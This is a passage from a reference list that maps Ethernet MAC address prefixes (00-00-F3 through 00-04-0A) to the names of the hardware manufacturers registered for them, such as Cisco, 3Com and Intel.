+00-00-F3:GANDALF DATA LIMITED +00-00-F4:ALLIED TELESYN INTERNATIONAL +00-00-F5:DIAMOND SALES LIMITED +00-00-F6:APPLIED MICROSYSTEMS CORP. +00-00-F7:YOUTH KEEP ENTERPRISE CO LTD +00-00-F8:DIGITAL EQUIPMENT CORPORATION +00-00-F9:QUOTRON SYSTEMS INC. +00-00-FA:MICROSAGE COMPUTER SYSTEMS INC +00-00-FB:RECHNER ZUR KOMMUNIKATION +00-00-FC:MEIKO +00-00-FD:HIGH LEVEL HARDWARE +00-00-FE:ANNAPOLIS MICRO SYSTEMS +00-00-FF:CAMTEC ELECTRONICS LTD. +00-01-00:EQUIP'TRANS +00-01-01:PRIVATE +00-01-02:3COM CORPORATION +00-01-03:3COM CORPORATION +00-01-04:DVICO Co., Ltd. +00-01-05:BECKHOFF GmbH +00-01-06:Tews Datentechnik GmbH +00-01-07:Leiser GmbH +00-01-08:AVLAB Technology, Inc. +00-01-09:Nagano Japan Radio Co., Ltd. +00-01-0A:CIS TECHNOLOGY INC. +00-01-0B:Space CyberLink, Inc. +00-01-0C:System Talks Inc. +00-01-0D:CORECO, INC. +00-01-0E:Bri-Link Technologies Co., Ltd +00-01-0F:Nishan Systems, Inc. +00-01-10:Gotham Networks +00-01-11:iDigm Inc. +00-01-12:Shark Multimedia Inc. +00-01-13:OLYMPUS CORPORATION +00-01-14:KANDA TSUSHIN KOGYO CO., LTD. +00-01-15:EXTRATECH CORPORATION +00-01-16:Netspect Technologies, Inc. +00-01-17:CANAL + +00-01-18:EZ Digital Co., Ltd. +00-01-19:Action Controls Pty. Ltd. +00-01-1A:EEH DataLink GmbH +00-01-1B:Unizone Technologies, Inc. +00-01-1C:Universal Talkware Corporation +00-01-1D:Centillium Communications +00-01-1E:Precidia Technologies, Inc. +00-01-1F:RC Networks, Inc. +00-01-20:OSCILLOQUARTZ S.A. +00-01-21:Watchguard Technologies, Inc. +00-01-22:Trend Communications, Ltd. +00-01-23:DIGITAL ELECTRONICS CORP. +00-01-24:Acer Incorporated +00-01-25:YAESU MUSEN CO., LTD. +00-01-26:PAC Labs +00-01-27:The OPEN Group Limited +00-01-28:EnjoyWeb, Inc. +00-01-29:DFI Inc. +00-01-2A:Telematica Sistems Inteligente +00-01-2B:TELENET Co., Ltd. +00-01-2C:Aravox Technologies, Inc. +00-01-2D:Komodo Technology +00-01-2E:PC Partner Ltd. +00-01-2F:Twinhead International Corp +00-01-30:Extreme Networks +00-01-31:Detection Systems, Inc. +00-01-32:Dranetz - BMI +00-01-33:KYOWA Electronic Instruments C +00-01-34:SIG Positec Systems AG +00-01-35:KDC Corp. +00-01-36:CyberTAN Technology, Inc. +00-01-37:IT Farm Corporation +00-01-38:XAVi Technologies Corp. +00-01-39:Point Multimedia Systems +00-01-3A:SHELCAD COMMUNICATIONS, LTD. +00-01-3B:BNA SYSTEMS +00-01-3C:TIW SYSTEMS +00-01-3D:RiscStation Ltd. +00-01-3E:Ascom Tateco AB +00-01-3F:Neighbor World Co., Ltd. +00-01-40:Sendtek Corporation +00-01-41:CABLE PRINT +00-01-42:Cisco Systems, Inc. +00-01-43:Cisco Systems, Inc. +00-01-44:Cereva Networks, Inc. +00-01-45:WINSYSTEMS, INC. +00-01-46:Tesco Controls, Inc. +00-01-47:Zhone Technologies +00-01-48:X-traWeb Inc. +00-01-49:T.D.T. Transfer Data Test GmbH +00-01-4A:Sony Corporation +00-01-4B:Ennovate Networks, Inc. +00-01-4C:Berkeley Process Control +00-01-4D:Shin Kin Enterprises Co., Ltd +00-01-4E:WIN Enterprises, Inc. +00-01-4F:LUMINOUS Networks, Inc. +00-01-50:GILAT COMMUNICATIONS, LTD. +00-01-51:Ensemble Communications +00-01-52:CHROMATEK INC. +00-01-53:ARCHTEK TELECOM CORPORATION +00-01-54:G3M Corporation +00-01-55:Promise Technology, Inc. +00-01-56:FIREWIREDIRECT.COM, INC. +00-01-57:SYSWAVE CO., LTD +00-01-58:Electro Industries/Gauge Tech +00-01-59:S1 Corporation +00-01-5A:Digital Video Broadcasting +00-01-5B:ITALTEL S.p.A/RF-UP-I +00-01-5C:CADANT INC. +00-01-5D:Sun Microsystems, Inc +00-01-5E:BEST TECHNOLOGY CO., LTD. +00-01-5F:DIGITAL DESIGN GmbH +00-01-60:ELMEX Co., LTD. +00-01-61:Meta Machine Technology +00-01-62:Cygnet Technologies, Inc. +00-01-63:Cisco Systems, Inc. +00-01-64:Cisco Systems, Inc. +00-01-65:AirSwitch Corporation +00-01-66:TC GROUP A/S +00-01-67:HIOKI E.E. CORPORATION +00-01-68:VITANA CORPORATION +00-01-69:Celestix Networks Pte Ltd. +00-01-6A:ALITEC +00-01-6B:LightChip, Inc. +00-01-6C:FOXCONN +00-01-6D:CarrierComm Inc. +00-01-6E:Conklin Corporation +00-01-6F:HAITAI ELECTRONICS CO., LTD. +00-01-70:ESE Embedded System Engineer'g +00-01-71:Allied Data Technologies +00-01-72:TechnoLand Co., LTD. +00-01-73:JNI Corporation +00-01-74:CyberOptics Corporation +00-01-75:Radiant Communications Corp. +00-01-76:Orient Silver Enterprises +00-01-77:EDSL +00-01-78:MARGI Systems, Inc. +00-01-79:WIRELESS TECHNOLOGY, INC. +00-01-7A:Chengdu Maipu Electric Industrial Co., Ltd. +00-01-7B:Heidelberger Druckmaschinen AG +00-01-7C:AG-E GmbH +00-01-7D:ThermoQuest +00-01-7E:ADTEK System Science Co., Ltd. +00-01-7F:Experience Music Project +00-01-80:AOpen, Inc. +00-01-81:Nortel Networks +00-01-82:DICA TECHNOLOGIES AG +00-01-83:ANITE TELECOMS +00-01-84:SIEB & MEYER AG +00-01-85:Aloka Co., Ltd. +00-01-86:DISCH GmbH +00-01-87:i2SE GmbH +00-01-88:LXCO Technologies ag +00-01-89:Refraction Technology, Inc. +00-01-8A:ROI COMPUTER AG +00-01-8B:NetLinks Co., Ltd. +00-01-8C:Mega Vision +00-01-8D:AudeSi Technologies +00-01-8E:Logitec Corporation +00-01-8F:Kenetec, Inc. +00-01-90:SMK-M +00-01-91:SYRED Data Systems +00-01-92:Texas Digital Systems +00-01-93:Hanbyul Telecom Co., Ltd. +00-01-94:Capital Equipment Corporation +00-01-95:Sena Technologies, Inc. +00-01-96:Cisco Systems, Inc. +00-01-97:Cisco Systems, Inc. +00-01-98:Darim Vision +00-01-99:HeiSei Electronics +00-01-9A:LEUNIG GmbH +00-01-9B:Kyoto Microcomputer Co., Ltd. +00-01-9C:JDS Uniphase Inc. +00-01-9D:E-Control Systems, Inc. +00-01-9E:ESS Technology, Inc. +00-01-9F:Phonex Broadband +00-01-A0:Infinilink Corporation +00-01-A1:Mag-Tek, Inc. +00-01-A2:Logical Co., Ltd. +00-01-A3:GENESYS LOGIC, INC. +00-01-A4:Microlink Corporation +00-01-A5:Nextcomm, Inc. +00-01-A6:Scientific-Atlanta Arcodan A/S +00-01-A7:UNEX TECHNOLOGY CORPORATION +00-01-A8:Welltech Computer Co., Ltd. +00-01-A9:BMW AG +00-01-AA:Airspan Communications, Ltd. +00-01-AB:Main Street Networks +00-01-AC:Sitara Networks, Inc. +00-01-AD:Coach Master International d.b.a. CMI Worldwide, Inc. +00-01-AE:Trex Enterprises +00-01-AF:Motorola Computer Group +00-01-B0:Fulltek Technology Co., Ltd. +00-01-B1:General Bandwidth +00-01-B2:Digital Processing Systems, Inc. +00-01-B3:Precision Electronic Manufacturing +00-01-B4:Wayport, Inc. +00-01-B5:Turin Networks, Inc. +00-01-B6:SAEJIN T&M Co., Ltd. +00-01-B7:Centos, Inc. +00-01-B8:Netsensity, Inc. +00-01-B9:SKF Condition Monitoring +00-01-BA:IC-Net, Inc. +00-01-BB:Frequentis +00-01-BC:Brains Corporation +00-01-BD:Peterson Electro-Musical Products, Inc. +00-01-BE:Gigalink Co., Ltd. +00-01-BF:Teleforce Co., Ltd. +00-01-C0:CompuLab, Ltd. +00-01-C1:Vitesse Semiconductor Corporation +00-01-C2:ARK Research Corp. +00-01-C3:Acromag, Inc. +00-01-C4:NeoWave, Inc. +00-01-C5:Simpler Networks +00-01-C6:Quarry Technologies +00-01-C7:Cisco Systems, Inc. +00-01-C8:THOMAS CONRAD CORP. +00-01-C8:CONRAD CORP. +00-01-C9:Cisco Systems, Inc. +00-01-CA:Geocast Network Systems, Inc. +00-01-CB:NetGame, Ltd. +00-01-CC:Japan Total Design Communication Co., Ltd. +00-01-CD:ARtem +00-01-CE:Custom Micro Products, Ltd. +00-01-CF:Alpha Data Parallel Systems, Ltd. +00-01-D0:VitalPoint, Inc. +00-01-D1:CoNet Communications, Inc. +00-01-D2:MacPower Peripherals, Ltd. +00-01-D3:PAXCOMM, Inc. +00-01-D4:Leisure Time, Inc. +00-01-D5:HAEDONG INFO & COMM CO., LTD +00-01-D6:MAN Roland Druckmaschinen AG +00-01-D7:F5 Networks, Inc. +00-01-D8:Teltronics, Inc. +00-01-D9:Sigma, Inc. +00-01-DA:WINCOMM Corporation +00-01-DB:Freecom Technologies GmbH +00-01-DC:Activetelco +00-01-DD:Avail Networks +00-01-DE:Trango Systems, Inc. +00-01-DF:ISDN Communications, Ltd. +00-01-E0:Fast Systems, Inc. +00-01-E1:Kinpo Electronics, Inc. +00-01-E2:Ando Electric Corporation +00-01-E3:Siemens AG +00-01-E4:Sitera, Inc. +00-01-E5:Supernet, Inc. +00-01-E6:Hewlett-Packard Company +00-01-E7:Hewlett-Packard Company +00-01-E8:Force10 Networks, Inc. +00-01-E9:Litton Marine Systems B.V. +00-01-EA:Cirilium Corp. +00-01-EB:C-COM Corporation +00-01-EC:Ericsson Group +00-01-ED:SETA Corp. +00-01-EE:Comtrol Europe, Ltd. +00-01-EF:Camtel Technology Corp. +00-01-F0:Tridium, Inc. +00-01-F1:Innovative Concepts, Inc. +00-01-F2:Mark of the Unicorn, Inc. +00-01-F3:QPS, Inc. +00-01-F4:Enterasys Networks +00-01-F5:ERIM S.A. +00-01-F6:Association of Musical Electronics Industry +00-01-F7:Image Display Systems, Inc. +00-01-F8:Adherent Systems, Ltd. +00-01-F9:TeraGlobal Communications Corp. +00-01-FA:HOROSCAS +00-01-FB:DoTop Technology, Inc. +00-01-FC:Keyence Corporation +00-01-FD:Digital Voice Systems, Inc. +00-01-FE:DIGITAL EQUIPMENT CORPORATION +00-01-FF:Data Direct Networks, Inc. +00-02-00:Net & Sys Co., Ltd. +00-02-01:IFM Electronic gmbh +00-02-02:Amino Communications, Ltd. +00-02-03:Woonsang Telecom, Inc. +00-02-04:Bodmann Industries Elektronik GmbH +00-02-05:Hitachi Denshi, Ltd. +00-02-06:Telital R&D Denmark A/S +00-02-07:VisionGlobal Network Corp. +00-02-08:Unify Networks, Inc. +00-02-09:Shenzhen SED Information Technology Co., Ltd. +00-02-0A:Gefran Spa +00-02-0B:Native Networks, Inc. +00-02-0C:Metro-Optix +00-02-0D:Micronpc.com +00-02-0E:Laurel Networks, Inc. +00-02-0F:AATR +00-02-10:Fenecom +00-02-11:Nature Worldwide Technology Corp. +00-02-12:SierraCom +00-02-13:S.D.E.L. +00-02-14:DTVRO +00-02-15:Cotas Computer Technology A/B +00-02-16:Cisco Systems, Inc. +00-02-17:Cisco Systems, Inc. +00-02-18:Advanced Scientific Corp +00-02-19:Paralon Technologies +00-02-1A:Zuma Networks +00-02-1B:Kollmorgen-Servotronix +00-02-1C:Network Elements, Inc. +00-02-1D:Data General Communication Ltd. +00-02-1E:SIMTEL S.R.L. +00-02-1F:Aculab PLC +00-02-20:Canon Aptex, Inc. +00-02-21:DSP Application, Ltd. +00-02-22:Chromisys, Inc. +00-02-23:ClickTV +00-02-24:Lantern Communications, Inc. +00-02-25:Certus Technology, Inc. +00-02-26:XESystems, Inc. +00-02-27:ESD GmbH +00-02-28:Necsom, Ltd. +00-02-29:Adtec Corporation +00-02-2A:Asound Electronic +00-02-2B:Tamura Electric Works, Ltd. +00-02-2C:ABB Bomem, Inc. +00-02-2D:Agere Systems +00-02-2E:TEAC Corp. R& D +00-02-2F:P-Cube, Ltd. +00-02-30:Intersoft Electronics +00-02-31:Ingersoll-Rand +00-02-32:Avision, Inc. +00-02-33:Mantra Communications, Inc. +00-02-34:Imperial Technology, Inc. +00-02-35:Paragon Networks International +00-02-36:INIT GmbH +00-02-37:Cosmo Research Corp. +00-02-38:Serome Technology, Inc. +00-02-39:Visicom +00-02-3A:ZSK Stickmaschinen GmbH +00-02-3B:Redback Networks +00-02-3C:Creative Technology, Ltd. +00-02-3D:NuSpeed, Inc. +00-02-3E:Selta Telematica S.p.a +00-02-3F:Compal Electronics, Inc. +00-02-40:Seedek Co., Ltd. +00-02-41:Amer.com +00-02-42:Videoframe Systems +00-02-43:Raysis Co., Ltd. +00-02-44:SURECOM Technology Co. +00-02-45:Lampus Co, Ltd. +00-02-46:All-Win Tech Co., Ltd. +00-02-47:Great Dragon Information Technology (Group) Co., Ltd. +00-02-48:Pilz GmbH & Co. +00-02-49:Aviv Infocom Co, Ltd. +00-02-4A:Cisco Systems, Inc. +00-02-4B:Cisco Systems, Inc. +00-02-4C:SiByte, Inc. +00-02-4D:Mannesman Dematic Colby Pty. Ltd. +00-02-4E:Datacard Group +00-02-4F:IPM Datacom S.R.L. +00-02-50:Geyser Networks, Inc. +00-02-51:Soma Networks +00-02-52:Carrier Corporation +00-02-53:Televideo, Inc. +00-02-54:WorldGate +00-02-55:IBM Corporation +00-02-56:Alpha Processor, Inc. +00-02-57:Microcom Corp. +00-02-58:Flying Packets Communications +00-02-59:Tsann Kuen China (Shanghai)Enterprise Co., Ltd. IT Group +00-02-5A:Catena Networks +00-02-5B:Cambridge Silicon Radio +00-02-5C:SCI Systems (Kunshan) Co., Ltd. +00-02-5D:Calix Networks +00-02-5E:High Technology Ltd +00-02-5F:Nortel Networks +00-02-60:Accordion Networks, Inc. +00-02-61:i3 Micro Technology AB +00-02-62:Soyo Group Soyo Com Tech Co., Ltd +00-02-63:UPS Manufacturing SRL +00-02-64:AudioRamp.com +00-02-65:Virditech Co. Ltd. +00-02-66:Thermalogic Corporation +00-02-67:NODE RUNNER, INC. +00-02-68:Harris Government Communications +00-02-69:Nadatel Co., Ltd +00-02-6A:Cocess Telecom Co., Ltd. +00-02-6B:BCM Computers Co., Ltd. +00-02-6C:Philips CFT +00-02-6D:Adept Telecom +00-02-6E:NeGeN Access, Inc. +00-02-6F:Senao International Co., Ltd. +00-02-70:Crewave Co., Ltd. +00-02-71:Vpacket Communications +00-02-72:CC&C Technologies, Inc. +00-02-73:Coriolis Networks +00-02-74:Tommy Technologies Corp. +00-02-75:SMART Technologies, Inc. +00-02-76:Primax Electronics Ltd. +00-02-77:Cash Systemes Industrie +00-02-78:Samsung Electro-Mechanics Co., Ltd. +00-02-79:Control Applications, Ltd. +00-02-7A:IOI Technology Corporation +00-02-7B:Amplify Net, Inc. +00-02-7C:Trilithic, Inc. +00-02-7D:Cisco Systems, Inc. +00-02-7E:Cisco Systems, Inc. +00-02-7F:ask-technologies.com +00-02-80:Mu Net, Inc. +00-02-81:Madge Ltd. +00-02-82:ViaClix, Inc. +00-02-83:Spectrum Controls, Inc. +00-02-84:Alstom T&D P&C +00-02-85:Riverstone Networks +00-02-86:Occam Networks +00-02-87:Adapcom +00-02-88:GLOBAL VILLAGE COMMUNICATION +00-02-89:DNE Technologies +00-02-8A:Ambit Microsystems Corporation +00-02-8B:VDSL Systems OY +00-02-8C:Micrel-Synergy Semiconductor +00-02-8D:Movita Technologies, Inc. +00-02-8E:Rapid 5 Networks, Inc. +00-02-8F:Globetek, Inc. +00-02-90:Woorigisool, Inc. +00-02-91:Open Network Co., Ltd. +00-02-92:Logic Innovations, Inc. +00-02-93:Solid Data Systems +00-02-94:Tokyo Sokushin Co., Ltd. +00-02-95:IP.Access Limited +00-02-96:Lectron Co,. Ltd. +00-02-97:C-COR.net +00-02-98:Broadframe Corporation +00-02-99:Apex, Inc. +00-02-9A:Storage Apps +00-02-9B:Kreatel Communications AB +00-02-9C:3COM +00-02-9D:Merix Corp. +00-02-9E:Information Equipment Co., Ltd. +00-02-9F:L-3 Communication Aviation Recorders +00-02-A0:Flatstack Ltd. +00-02-A1:World Wide Packets +00-02-A2:Hilscher GmbH +00-02-A3:ABB Power Automation +00-02-A4:AddPac Technology Co., Ltd. +00-02-A5:Compaq Computer Corporation +00-02-A6:Effinet Systems Co., Ltd. +00-02-A7:Vivace Networks +00-02-A8:Air Link Technology +00-02-A9:RACOM, s.r.o. +00-02-AA:PLcom Co., Ltd. +00-02-AB:CTC Union Technologies Co., Ltd. +00-02-AC:3PAR data +00-02-AD:Pentax Corpotation +00-02-AE:Scannex Electronics Ltd. +00-02-AF:TeleCruz Technology, Inc. +00-02-B0:Hokubu Communication & Industrial Co., Ltd. +00-02-B1:Anritsu, Ltd. +00-02-B2:Cablevision +00-02-B3:Intel Corporation +00-02-B4:DAPHNE +00-02-B5:Avnet, Inc. +00-02-B6:Acrosser Technology Co., Ltd. +00-02-B7:Watanabe Electric Industry Co., Ltd. +00-02-B8:WHI KONSULT AB +00-02-B9:Cisco Systems, Inc. +00-02-BA:Cisco Systems, Inc. +00-02-BB:Continuous Computing +00-02-BC:LVL 7 Systems, Inc. +00-02-BD:Bionet Co., Ltd. +00-02-BE:Totsu Engineering, Inc. +00-02-BF:dotRocket, Inc. +00-02-C0:Bencent Tzeng Industry Co., Ltd. +00-02-C1:Innovative Electronic Designs, Inc. +00-02-C2:Net Vision Telecom +00-02-C3:Arelnet Ltd. +00-02-C4:Vector International BUBA +00-02-C5:Evertz Microsystems Ltd. +00-02-C6:Data Track Technology PLC +00-02-C7:ALPS ELECTRIC Co., Ltd. +00-02-C8:Technocom Communications Technology (pte) Ltd +00-02-C9:Mellanox Technologies +00-02-CA:EndPoints, Inc. +00-02-CB:TriState Ltd. +00-02-CC:M.C.C.I +00-02-CD:TeleDream, Inc. +00-02-CE:FoxJet, Inc. +00-02-CF:ZyGate Communications, Inc. +00-02-D0:Comdial Corporation +00-02-D1:Vivotek, Inc. +00-02-D2:Workstation AG +00-02-D3:NetBotz, Inc. +00-02-D4:PDA Peripherals, Inc. +00-02-D5:ACR +00-02-D6:NICE Systems +00-02-D7:EMPEG Ltd +00-02-D8:BRECIS Communications Corporation +00-02-D9:Reliable Controls +00-02-DA:ExiO Communications, Inc. +00-02-DB:NETSEC +00-02-DC:Fujitsu General Limited +00-02-DD:Bromax Communications, Ltd. +00-02-DE:Astrodesign, Inc. +00-02-DF:Net Com Systems, Inc. +00-02-E0:ETAS GmbH +00-02-E1:Integrated Network Corporation +00-02-E2:NDC Infared Engineering +00-02-E3:LITE-ON Communications, Inc. +00-02-E4:JC HYUN Systems, Inc. +00-02-E5:Timeware Ltd. +00-02-E6:Gould Instrument Systems, Inc. +00-02-E7:CAB GmbH & Co KG +00-02-E8:E.D.&A. +00-02-E9:CS Systemes De Securite - C3S +00-02-EA:Focus Enhancements +00-02-EB:Pico Communications +00-02-EC:Maschoff Design Engineering +00-02-ED:DXO Telecom Co., Ltd. +00-02-EE:Nokia Danmark A/S +00-02-EF:CCC Network Systems Group Ltd. +00-02-F0:AME Optimedia Technology Co., Ltd. +00-02-F1:Pinetron Co., Ltd. +00-02-F2:eDevice, Inc. +00-02-F3:Media Serve Co., Ltd. +00-02-F4:PCTEL, Inc. +00-02-F5:VIVE Synergies, Inc. +00-02-F6:Equipe Communications +00-02-F7:ARM +00-02-F8:SEAKR Engineering, Inc. +00-02-F9:Mimos Semiconductor SDN BHD +00-02-FA:DX Antenna Co., Ltd. +00-02-FB:Baumuller Aulugen-Systemtechnik GmbH +00-02-FC:Cisco Systems, Inc. +00-02-FD:Cisco Systems, Inc. +00-02-FE:Viditec, Inc. +00-02-FF:Handan BroadInfoCom +00-03-00:NetContinuum, Inc. +00-03-01:Avantas Networks Corporation +00-03-02:Charles Industries, Ltd. +00-03-03:JAMA Electronics Co., Ltd. +00-03-04:Pacific Broadband Communications +00-03-05:Smart Network Devices GmbH +00-03-06:Fusion In Tech Co., Ltd. +00-03-07:Secure Works, Inc. +00-03-08:AM Communications, Inc. +00-03-09:Texcel Technology PLC +00-03-0A:Argus Technologies +00-03-0B:Hunter Technology, Inc. +00-03-0C:Telesoft Technologies Ltd. +00-03-0D:Uniwill Computer Corp. +00-03-0E:Core Communications Co., Ltd. +00-03-0F:Digital China (Shanghai) Networks Ltd. +00-03-10:Link Evolution Corp. +00-03-11:Micro Technology Co., Ltd. +00-03-12:TR-Systemtechnik GmbH +00-03-13:Access Media SPA +00-03-14:Teleware Network Systems +00-03-15:Cidco Incorporated +00-03-16:Nobell Communications, Inc. +00-03-17:Merlin Systems, Inc. +00-03-18:Cyras Systems, Inc. +00-03-19:Infineon AG +00-03-1A:Beijing Broad Telecom Ltd., China +00-03-1B:Cellvision Systems, Inc. +00-03-1C:Svenska Hardvarufabriken AB +00-03-1D:Taiwan Commate Computer, Inc. +00-03-1E:Optranet, Inc. +00-03-1F:Condev Ltd. +00-03-20:Xpeed, Inc. +00-03-21:Reco Research Co., Ltd. +00-03-22:IDIS Co., Ltd. +00-03-23:Cornet Technology, Inc. +00-03-24:SANYO Multimedia Tottori Co., Ltd. +00-03-25:Arima Computer Corp. +00-03-26:Iwasaki Information Systems Co., Ltd. +00-03-27:ACT'L +00-03-28:Mace Group, Inc. +00-03-29:F3, Inc. +00-03-2A:UniData Communication Systems, Inc. +00-03-2B:GAI Datenfunksysteme GmbH +00-03-2C:ABB Industrie AG +00-03-2D:IBASE Technology, Inc. +00-03-2E:Scope Information Management, Ltd. +00-03-2F:Global Sun Technology, Inc. +00-03-30:Imagenics, Co., Ltd. +00-03-31:Cisco Systems, Inc. +00-03-32:Cisco Systems, Inc. +00-03-33:Digitel Co., Ltd. +00-03-34:Newport Electronics +00-03-35:Mirae Technology +00-03-36:Zetes Technologies +00-03-37:Vaone, Inc. +00-03-38:Oak Technology +00-03-39:Eurologic Systems, Ltd. +00-03-3A:Silicon Wave, Inc. +00-03-3B:TAMI Tech Co., Ltd. +00-03-3C:Daiden Co., Ltd. +00-03-3D:ILSHin Lab +00-03-3E:Tateyama System Laboratory Co., Ltd. +00-03-3F:BigBand Networks, Ltd. +00-03-40:Floware Wireless Systems, Ltd. +00-03-41:Axon Digital Design +00-03-42:Nortel Networks +00-03-43:Martin Professional A/S +00-03-44:Tietech.Co., Ltd. +00-03-45:Routrek Networks Corporation +00-03-46:Hitachi Kokusai Electric, Inc. +00-03-47:Intel Corporation +00-03-48:Norscan Instruments, Ltd. +00-03-49:Vidicode Datacommunicatie B.V. +00-03-4A:RIAS Corporation +00-03-4B:Nortel Networks +00-03-4C:Shanghai DigiVision Technology Co., Ltd. +00-03-4D:Chiaro Networks, Ltd. +00-03-4E:Pos Data Company, Ltd. +00-03-4F:Sur-Gard Security +00-03-50:BTICINO SPA +00-03-51:Diebold, Inc. +00-03-52:Colubris Networks +00-03-53:Mitac, Inc. +00-03-54:Fiber Logic Communications +00-03-55:TeraBeam Internet Systems +00-03-56:Wincor Nixdorf GmbH & Co KG +00-03-57:Intervoice-Brite, Inc. +00-03-58:iCable System Co., Ltd. +00-03-59:DigitalSis +00-03-5A:Photron Limited +00-03-5B:BridgeWave Communications +00-03-5C:Saint Song Corp. +00-03-5D:Bosung Hi-Net Co., Ltd. +00-03-5E:Metropolitan Area Networks, Inc. +00-03-5F:Prueftechnik Condition Monitoring GmbH & Co. KG +00-03-60:PAC Interactive Technology, Inc. +00-03-61:Widcomm, Inc. +00-03-62:Vodtel Communications, Inc. +00-03-63:Miraesys Co., Ltd. +00-03-64:Scenix Semiconductor, Inc. +00-03-65:Kira Information & Communications, Ltd. +00-03-66:ASM Pacific Technology +00-03-67:Jasmine Networks, Inc. +00-03-68:Embedone Co., Ltd. +00-03-69:Nippon Antenna Co., Ltd. +00-03-6A:Mainnet, Ltd. +00-03-6B:Cisco Systems, Inc. +00-03-6C:Cisco Systems, Inc. +00-03-6D:Runtop, Inc. +00-03-6E:Nicon Systems (Pty) Limited +00-03-6F:Telsey SPA +00-03-70:NXTV, Inc. +00-03-71:Acomz Networks Corp. +00-03-72:ULAN +00-03-73:Aselsan A.S +00-03-74:Hunter Watertech +00-03-75:NetMedia, Inc. +00-03-76:Graphtec Technology, Inc. +00-03-77:Gigabit Wireless +00-03-78:HUMAX Co., Ltd. +00-03-79:Proscend Communications, Inc. +00-03-7A:Taiyo Yuden Co., Ltd. +00-03-7B:IDEC IZUMI Corporation +00-03-7C:Coax Media +00-03-7D:Stellcom +00-03-7E:PORTech Communications, Inc. +00-03-7F:Atheros Communications, Inc. +00-03-80:SSH Communications Security Corp. +00-03-81:Ingenico International +00-03-82:A-One Co., Ltd. +00-03-83:Metera Networks, Inc. +00-03-84:AETA +00-03-85:Actelis Networks, Inc. +00-03-86:Ho Net, Inc. +00-03-87:Blaze Network Products +00-03-88:Fastfame Technology Co., Ltd. +00-03-89:Plantronics +00-03-8A:America Online, Inc. +00-03-8B:PLUS-ONE I&T, Inc. +00-03-8C:Total Impact +00-03-8D:PCS Revenue Control Systems, Inc. +00-03-8E:Atoga Systems, Inc. +00-03-8F:Weinschel Corporation +00-03-90:Digital Video Communications, Inc. +00-03-91:Advanced Digital Broadcast, Ltd. +00-03-92:Hyundai Teletek Co., Ltd. +00-03-93:Apple Computer, Inc. +00-03-94:Connect One +00-03-95:California Amplifier +00-03-96:EZ Cast Co., Ltd. +00-03-97:Watchfront Electronics +00-03-98:WISI +00-03-99:Dongju Informations & Communications Co., Ltd. +00-03-9A:nSine, Ltd. +00-03-9B:NetChip Technology, Inc. +00-03-9C:OptiMight Communications, Inc. +00-03-9D:BENQ CORPORATION +00-03-9E:Tera System Co., Ltd. +00-03-9F:Cisco Systems, Inc. +00-03-A0:Cisco Systems, Inc. +00-03-A1:HIPER Information & Communication, Inc. +00-03-A2:Catapult Communications +00-03-A3:MAVIX, Ltd. +00-03-A4:Data Storage and Information Management +00-03-A5:Medea Corporation +00-03-A6:Traxit Technology, Inc. +00-03-A7:Unixtar Technology, Inc. +00-03-A8:IDOT Computers, Inc. +00-03-A9:AXCENT Media AG +00-03-AA:Watlow +00-03-AB:Bridge Information Systems +00-03-AC:Fronius Schweissmaschinen +00-03-AD:Emerson Energy Systems AB +00-03-AE:Allied Advanced Manufacturing Pte, Ltd. +00-03-AF:Paragea Communications +00-03-B0:Xsense Technology Corp. +00-03-B1:Abbott Laboratories HPD +00-03-B2:Radware +00-03-B3:IA Link Systems Co., Ltd. +00-03-B4:Macrotek International Corp. +00-03-B5:Entra Technology Co. +00-03-B6:QSI Corporation +00-03-B7:ZACCESS Systems +00-03-B8:NetKit Solutions, LLC +00-03-B9:Hualong Telecom Co., Ltd. +00-03-BA:Sun Microsystems +00-03-BB:Signal Communications Limited +00-03-BC:COT GmbH +00-03-BD:OmniCluster Technologies, Inc. +00-03-BE:Netility +00-03-BF:Centerpoint Broadband Technologies, Inc. +00-03-C0:RFTNC Co., Ltd. +00-03-C1:Packet Dynamics Ltd +00-03-C2:Solphone K.K. +00-03-C3:Micronik Multimedia +00-03-C4:Tomra Systems ASA +00-03-C5:Mobotix AG +00-03-C6:ICUE Systems, Inc. +00-03-C7:hopf Elektronik GmbH +00-03-C8:CML Emergency Services +00-03-C9:TECOM Co., Ltd. +00-03-CA:MTS Systems Corp. +00-03-CB:Nippon Systems Development Co., Ltd. +00-03-CC:Momentum Computer, Inc. +00-03-CD:Clovertech, Inc. +00-03-CE:ETEN Technologies, Inc. +00-03-CF:Muxcom, Inc. +00-03-D0:KOANKEISO Co., Ltd. +00-03-D1:Takaya Corporation +00-03-D2:Crossbeam Systems, Inc. +00-03-D3:Internet Energy Systems, Inc. +00-03-D4:Alloptic, Inc. +00-03-D5:Advanced Communications Co., Ltd. +00-03-D6:RADVision, Ltd. +00-03-D7:NextNet Wireless, Inc. +00-03-D8:iMPath Networks, Inc. +00-03-D9:Secheron SA +00-03-DA:Takamisawa Cybernetics Co., Ltd. +00-03-DB:Apogee Electronics Corp. +00-03-DC:Lexar Media, Inc. +00-03-DD:Comark Corp. +00-03-DE:OTC Wireless +00-03-DF:Desana Systems +00-03-E0:RadioFrame Networks, Inc. +00-03-E1:Winmate Communication, Inc. +00-03-E2:Comspace Corporation +00-03-E3:Cisco Systems, Inc. +00-03-E4:Cisco Systems, Inc. +00-03-E5:Hermstedt SG +00-03-E6:Entone Technologies, Inc. +00-03-E7:Logostek Co. Ltd. +00-03-E8:Wavelength Digital Limited +00-03-E9:Akara Canada, Inc. +00-03-EA:Mega System Technologies, Inc. +00-03-EB:Atrica +00-03-EC:ICG Research, Inc. +00-03-ED:Shinkawa Electric Co., Ltd. +00-03-EE:MKNet Corporation +00-03-EF:Oneline AG +00-03-F0:Redfern Broadband Networks +00-03-F1:Cicada Semiconductor, Inc. +00-03-F2:Seneca Networks +00-03-F3:Dazzle Multimedia, Inc. +00-03-F4:NetBurner +00-03-F5:Chip2Chip +00-03-F6:Allegro Networks, Inc. +00-03-F7:Plast-Control GmbH +00-03-F8:SanCastle Technologies, Inc. +00-03-F9:Pleiades Communications, Inc. +00-03-FA:TiMetra Networks +00-03-FB:Toko Seiki Company, Ltd. +00-03-FC:Intertex Data AB +00-03-FD:Cisco Systems, Inc. +00-03-FE:Cisco Systems, Inc. +00-03-FF:Microsoft Corporation +00-04-00:LEXMARK INTERNATIONAL, INC. +00-04-01:Osaki Electric Co., Ltd. +00-04-02:Nexsan Technologies, Ltd. +00-04-03:Nexsi Corporation +00-04-04:Makino Milling Machine Co., Ltd. +00-04-05:ACN Technologies +00-04-06:Fa. Metabox AG +00-04-07:Topcon Positioning Systems, Inc. +00-04-08:Sanko Electronics Co., Ltd. +00-04-09:Cratos Networks +00-04-0A:Sage Systems 